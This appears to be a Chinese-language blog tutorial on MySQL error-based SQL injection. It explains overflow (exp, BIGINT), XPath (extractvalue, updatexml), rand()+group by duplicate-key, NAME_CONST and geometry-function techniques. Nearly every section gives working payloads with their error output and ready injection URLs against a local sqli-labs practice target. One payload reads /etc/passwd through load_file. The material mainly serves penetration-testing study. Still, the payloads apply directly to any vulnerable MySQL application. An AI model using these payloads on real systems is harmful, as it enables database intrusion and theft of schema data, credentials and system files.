MySQL报错注入

MySQL报错注入

  • SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
  • MYSQL报错注入大体可以分为以下几类:
    • BIGINT等数据类型溢出
    • Xpath语法错误
    • concat+rand()+group_by()导致主键重复
    • 数据库的一些特性
  • 注意,在使用报错语句时,有两种使用方法,一种是AND连接,报错语句不需要写SELECT;另一种是UNION,报错语句需要些SELECT,同时还要注意列数量要对应,推荐使用AND连接。

BIGINT等数据类型溢出

  • 在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况,在mysql中,要使用这么大的数,并不需要输入这么长的数字进去,使用按位取反运算运算即可:

    1
    2
    3
    4
    mysql> select 18446744073709551615+1;
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
    mysql> select ~0+1;
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
  • 我们知道,如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:

    1
    2
    3
    4
    5
    6
    mysql> select (select * from (select user())x);
    > root@localhost
    mysql> select !(select * from (select user())x);
    > 1
    mysql> select ~(select * from (select user())x);
    > 18446744073709551615
  • 同理,利用exp函数也会产生类似的溢出错误:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    mysql> select exp(~(select*from(select user())x));
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
    mysql> select (select(!x-~0)from(select(select user())x)a);
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
    mysql> select (!(select * from (select user())x) - ~0);
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
    mysql> select exp(~(select*from (select table_name from information_schema.tables limit 0,1)x));
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'CHARACTER_SETS' from dual)))'
    mysql> select exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x));
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'information_schema:CHARACTER_SETS' from dual)))'
    mysql> select exp(~(select*from(select load_file('/etc/passwd'))a));
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
  • 报错信息是有长度限制的,同时报错的信息跟MySQL版本、MySQL所在操作系统有关系。

  • 几种形式的变种:

    1
    2
    3
    mysql> select !(select*from(select user())x)-~0;
    mysql> select (select(!x-~0)from(select(select user())x)a);
    mysql> select (select!x-~0.from(select(select user())x)a);
  • 利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,如:ATAN、CEIL、FLOOR、HEX、RAND、IN、CEILING、TRUNCATE、TAN、SQRT、ROUND‘SIGN等函数:

    1
    2
    3
    mysql> select !atan((select*from(select user())a))-~0;
    mysql> select !ceil((select*from(select user())a))-~0;
    mysql> select !floor((select*from(select user())a))-~0;
  • 注入案例:

    1
    2
    3
    4
    5
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x)),2,3--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and (exp(~(select * FROM(SELECT USER())a)))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and exp(~(select*from (select concat(table_schema,':',table_name) from information_schema.tables limit 0,1)x))--

Xpath语法错误

  • 从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

    1
    2
    mysql> select extractvalue(1,'/a/b');
    mysql> select updatexml(1,'/a/b',1);
  • 它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~5.5.36-log~'
    mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));
    ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
    mysql> select updatexml(1,concat(0x7e,(select database()),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~security~'
    mysql> select updatexml(1,concat(0x7e,(select table_name from information_schema.tables limit 0,1),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~CHARACTER_SETS~'
    mysql> select updatexml(1,concat(0x7e,(select concat(table_schema, ':',table_name) from information_schema.tables limit 0,1),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~information_schema:CHARACTER_SE'
    mysql> select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1);
    ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users~'
  • 注入案例:

    1
    2
    3
    4
    5
    6
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat(table_schema, ':', table_name) from information_schema.tables limit 0,1),0x7e))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select database()),0x7e)),2,3--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select concat(table_schema, ':', table_name) from information_schema.tables limit 0,1),0x7e)) ,2, 3 --
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),2,3--
  • 注意:extractvalue()和updatexml()报错信息是有长度限制的,最大长度限制32位。

concat+rand()+group_by()导致主键重复

  • 这里利用到了count()和group by在遇到rand()产生的重复值时报错,错误类型是duplicate entry,即主键重复。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关。

    1
    2
    mysql> select count(*) from users group by floor(rand(0)*2);
    ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
  • 这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

  • MySQL官方:查询的时候如果使用rand()的话,该值会被计算多次,在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,最终会导致主键重复错误产生。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    mysql> select count(*) from users group by concat(version(),floor(rand(0)*2));
    ERROR 1062 (23000): Duplicate entry '5.5.36-log1' for key 'group_key'
    mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
    ERROR 1062 (23000): Duplicate entry '5.5.36-log1' for key 'group_key'
    mysql> select count(*) from users group by concat((select table_name from information_schema.tables limit 0,1),':',floor(rand(0)*2));
    ERROR 1062 (23000): Duplicate entry 'CHARACTER_SETS:1' for key 'group_key'
    mysql> select count(*),concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x;
    ERROR 1062 (23000): Duplicate entry 'CHARACTER_SETS1' for key 'group_key'
    mysql> select count(*) from information_schema.tables group by concat((select concat(table_schema,':',table_name) from information_schema.tables limit 0,1),floor(rand(0)*2));
    ERROR 1062 (23000): Duplicate entry 'information_schema:CHARACTER_SETS1' for key 'group_key'
  • 注入实例:

    1
    2
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select count(*),2,3 from users group by concat(database(),floor(rand(0)*2))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select count(*),2,3 from information_schema.tables group by concat((select concat(table_schema,':',table_name) from information_schema.tables limit 0,1),floor(rand(0)*2))--

数据库的一些特性

  • 利用数据库的一些特性产生报错信息。

列名重复

  • mysql列名重复会报错,我们利用name_const来制造一个列,根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式。

    1
    2
    mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
    ERROR 1060 (42S21): Duplicate column name '5.5.36-log'
  • 利用这个特性加上join函数可以爆列名:

    1
    2
    3
    4
    5
    6
    mysql> select * from(select * from users a join users b)c;
    ERROR 1060 (42S21): Duplicate column name 'id'
    mysql> select * from(select * from users a join users b using(id))c;
    ERROR 1060 (42S21): Duplicate column name 'username'
    mysql> select * from(select * from users a join users b using(id,username))c;
    ERROR 1060 (42S21): Duplicate column name 'password'
  • 注入实例:

    1
    http://192.168.100.8/sqli-labs/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --

几何函数

  • mysql有些几何函数,例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring(),这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行,不同的函数情况版本情况可能不一样。

geometrycollection()

  • GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制。攻击载荷查询的为一串字符,然后用处理geometrycollection(),由于MYSQL无法用这样字符串画出图形,所以报错了。

    1
    2
    3
    4
    5
    6
    7
    8
    mysql> select geometrycollection((select * from(select * from(select user())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
    mysql> select geometrycollection((select * from(select * from(select database())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`database()` from (select 'security' AS `database()` from dual) `b`)' value found during parsing
    mysql> select geometrycollection((select * from(select * from(select concat(table_schema, ':',table_name) from information_schema.tables limit 0,1)a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`concat(table_schema, ':',table_name)` from (select 'information_schema:CHARACTER_SETS' AS `concat(table_schema, ':',table_name)` from dual) `b`)' value found during parsing
    mysql> select geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`group_concat(table_name)` from (select 'emails,referers,uagents,users' AS `group_concat(table_name)` from dual) `b`)' value found during parsing
  • 注入实例:

    1
    2
    3
    4
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and geometrycollection((select * from(select * from(select database())a)b)) --
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union select geometrycollection((select * from(select * from(select database())a)b)),2,3 --
    http://192.168.100.8/sqli-labs/Less-5/?id=1' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b))--
    http://192.168.100.8/sqli-labs/Less-5/?id=1' union geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='security')a)b)),2,3--

multipoint()

  • MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

    1
    2
    mysql> select multipoint((select * from(select * from(select database())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`database()` from (select 'security' AS `database()` from dual) `b`)' value found during parsing
  • 其余用法同geometrycollection()。

polygon()

  • Polygon是代表多边几何对象的平面Surface。它由单个外部边界以及0或多个内部边界定义,其中,每个内部边界定义为Polygon中的1个孔。

    1
    2
    mysql> select polygon((select * from(select * from(select user())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
  • 其余用法同geometrycollection()。

multipolygon()

  • multipolygon()是一种由Polygon元素构成的几何对象集合。

    1
    2
    mysql> select multipolygon((select * from(select * from(select user())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
  • 其余用法同geometrycollection()。

linestring()

  •  LineString()是具有点之间线性内插特性的Curve。

    1
    2
    mysql> select linestring((select * from(select * from(select user())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
  • 其余用法同geometrycollection()。

multilinestring()

  • multilinestring()是一种由LineStirng元素构成的MultiCurve几何对象集合。

    1
    2
    mysql> select multilinestring((select * from(select * from(select user())a)b));
    ERROR 1367 (22007): Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
  • 其余用法同geometrycollection()。

参考文档

文章目录
  1. 1. BIGINT等数据类型溢出
  2. 2. Xpath语法错误
  3. 3. concat+rand()+group_by()导致主键重复
  4. 4. 数据库的一些特性
    1. 4.1. 列名重复
    2. 4.2. 几何函数
      1. 4.2.1. geometrycollection()
      2. 4.2.2. multipoint()
      3. 4.2.3. polygon()
      4. 4.2.4. multipolygon()
      5. 4.2.5. linestring()
      6. 4.2.6. multilinestring()
    3. 4.3. 参考文档
|